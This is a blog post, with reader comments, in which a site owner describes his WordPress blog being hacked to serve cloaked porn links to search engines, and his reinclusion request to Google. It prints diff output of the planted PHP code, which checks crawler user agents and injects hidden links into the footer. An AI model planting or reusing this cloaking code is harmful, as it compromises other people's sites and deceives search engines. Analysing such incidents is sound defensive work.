PocketSEO.com suddenly dropped in the SERPs so I did some investigating.
It turns out that my site was hacked and a backdoor was installed. Someone was inserting cloaked porn links in the footer.
Here is what happens when you search Google for site:pocketseo.com porn. Until today I had a noarchive meta tag so this is the only way to view it.
click here for a screenshot (explicit words blacked out)
The hacker uploaded some files that included a function called wpc7c16b8466d864eeefd20050625c7775() that added cloaked links to the site.
This is partial output of a diff run on the site - it comes from a new file called class-mail.php:
+ +add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775'); +function wpc7c16b8466d864eeefd20050625c7775() { + $seau=array("google","yahoo","slurp","msn","live","ask","altavista","aol"); + $sebot=""; foreach($seau as $ua) if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),$ua)!==false){ $sebot="1"; break; } + if(!($sebot==1 && sizeof($_COOKIE)==0)) return; + @include('./wp-includes/class-mail.php'); + if(sizeof($wparr)>0){ + shuffle($wparr); + echo "<div id=\"_wp_footer\">"; + foreach($wparr as $k=>$v){ + echo "<a href=\"".$v['url']."\" title=\"".ucwords($v['key'])."\">".ucwords($v['key'])."</a>\n"; + if($i++==$inum) break; + } + echo "</div>".$_footer; + } +} +
Other Victims
Here are a few other sites that mention the problem:
I’ve upgraded WordPress, and filed a reinclusion request with Google. Lesson learned: always stay updated with the latest version of WordPress…
UPDATE: 22 March 2008
Google’s “bad news” response to my reinclusion request:
March 20, 2008
We’ve received a request from a site owner to reconsider the following site for inclusion in our index: http://pocketseo.com/
We’ll review the site. If we find that it’s no longer in violation of our Webmaster Guidelines, we’ll reinclude the site in our index. Please allow several weeks for the reconsideration request. We do review all requests, but unfortunately we can’t reply individually to each request.

9 Comments
use a blog system that has a dedicated security team like drupal.
wordpress kicks out new versions all the time without fixing old security issues.
I am normally a Drupal user. PocketSEO.com was just an experiment to become more familiar with WordPress. I prefer Drupal.
It was partly my fault for running WordPress 2.1.3 until today. I just upgraded to the latest version (2.3.3).
Josh, I got hacked a couple months ago by someone inserting posts with cell phone ads. They were making the post dates old so they would be mixed in months back. I just happen to be looking at WassUp plugin at the same time they were making the posts. They only got about three in before I found them and deleted them all. The changed my password and upgraded.
It is a never ending battle between hackers/spammers and site owners.
BTW, it is always a good idea to do searches like you you did above every once in a while.
That was lucky. I don’t post here often at the moment and I missed it for at least a couple of weeks - maybe longer. I lost my Google rankings.
I set up Google Alerts for it after it happened. Example:
site:pocketseo.com porn
Just happened to us! My bad for not updating. It would be really useful if you could explain how to fix it here. Thanks.
Here are the steps to fix it:
Hope that helps…
Just had the same thing happen to me, didn’t even get time to rectify the hackery before google vaped the entire site from it’s index.
I think it’s time for a move to drupal.
@Mo
Drupal is great. Most of what I do is Drupal. This PocketSEO.com blog was just a WordPress experiment.
3 Trackbacks
[…] wrote a post yesterday about how PocketSEO.com was hacked. This site has been heavily penalized because cloaked, hidden porn links were being injected into […]
[…] was cleaning out spam comments today, thinking about how this site got hacked a few days ago. Most of the spam comments that bypass Akismet on this site link to pages full of […]
[…] mentioned on the 20th, PocketSEO.com was hacked and penalized by Google. I submitted a reinclusion request the same day that I discovered the […]